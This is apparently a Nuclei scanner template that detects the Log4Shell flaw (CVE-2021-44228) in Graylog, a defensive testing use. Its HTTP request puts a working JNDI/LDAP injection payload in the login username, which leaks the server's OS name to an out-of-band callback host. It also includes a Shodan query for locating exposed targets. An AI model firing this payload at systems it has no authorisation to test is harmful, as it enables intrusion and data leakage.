65 lines
2.3 KiB
YAML
65 lines
2.3 KiB
YAML
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id: graylog-log4j
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info:
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name: Graylog (Log4j) - Remote Code Execution
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author: DhiyaneshDK
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severity: critical
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description: Graylog is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
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reference:
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- https://www.graylog.org/post/graylog-update-for-log4j
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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shodan-query: title:"Graylog Web Interface"
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verified: "true"
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tags: cve,cve2021,rce,jndi,log4j,graylog,kev,oast
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http:
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- raw:
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- |
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POST /api/system/sessions HTTP/1.1
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Host: {{Hostname}}
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Accept: application/json
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X-Requested-With: XMLHttpRequest
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X-Requested-By: XMLHttpRequest
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Content-Type: application/json
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}
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{"username":"${jndi:ldap://${sys:os.name}.{{interactsh-url}}}","password":"admin","host":"{{Hostname}}"}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
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- type: word
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part: header
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words:
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- 'X-Graylog-Node-Id:'
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
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# Enhanced by md on 2023/03/23
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